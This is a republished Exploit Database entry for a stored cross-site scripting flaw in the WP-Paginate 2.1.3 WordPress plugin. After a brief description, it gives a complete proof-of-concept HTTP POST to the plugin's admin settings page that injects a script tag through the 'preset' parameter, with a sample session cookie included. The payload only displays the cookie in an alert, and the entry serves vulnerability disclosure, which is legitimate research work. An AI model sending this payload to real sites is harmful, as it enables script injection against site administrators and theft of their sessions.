WordPress Plugin WP-Paginate 2.1.3 – ‘preset’ Stored XSS

• Exploit Database
• 13 阅读

• 作者： Park Won Seok
  日期： 2021-01-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49355/

• # Exploit Title: WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS
  # Date: 04-01-2021
  # Software Link: https://wordpress.org/plugins/wp-paginate/
  # Exploit Author: Park Won Seok
  # Contact: kkigg39@gmail.com
  # Category: Webapps
  # Version: WP-Paginate(Ver-2.1.3)
  # CVE : N/A
  # Tested on: Windows 10 x64
  
  # description:
  # A Stored Cross-site scripting (XSS) was discovered in wordpress plugins WP-Paginate(Ver_2.1.3)
  # Vulnerability parameters : 2nd parameter "preset" have Stored-XSS.
  
  # POC -Stored-XSS
  
  POST /wp-admin/options-general.php?page=wp-paginate.php HTTP/1.1
  Host: localhost
  Content-Length: 348
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://localhost/wp-admin/options-general.php?page=wp-paginate.php
  Accept-Encoding: gzip, deflate
  Accept-Language: ko,en-US;q=0.9,en;q=0.8
  Cookie:
  wordpress_5b1d7751a3da8a97505638936b7963ae=root%7C1609175102%7CsmSXDMcLQrRT6VE8KfGkKmVhXgpnCEAYtWIzvd91r78%7C94877ae306a5c59f9cdb81adc60a8cd6ad84e0e7551b18042ee0a33c9ab5cb31;
  wordpress_test_cookie=WP%20Cookie%20check;
  asp_transient_id=36985e31f4be2b5ae0e14586c592c87d;
  wp-settings-1=mfold%3Do%26editor%3Dhtml%26posts_list_mode%3Dlist%26unfold%3D1;
  wp-settings-time-1=1609001802;
  wordpress_logged_in_5b1d7751a3da8a97505638936b7963ae=root%7C1609175102%7CsmSXDMcLQrRT6VE8KfGkKmVhXgpnCEAYtWIzvd91r78%7Cd570540f18447db0f0859be9e8e14bab64da22c8cf50fb8a80ebea73f188cb48
  Connection: close
  
  _wpnonce=8441c7c7b9&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-paginate.php&title=Pages%3A&previouspage=%26laquo%3B&nextpage=%26raquo%3B&position=none&font=font-inherit&preset=default&
  *preset='%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e*
  &before=%3Cdiv+class%3D%22navigation%22%3E&after=%3C%2Fdiv%3E&empty=on&css=on&range=3&anchor=1&gap=3&wp_paginate_save=Save+Changes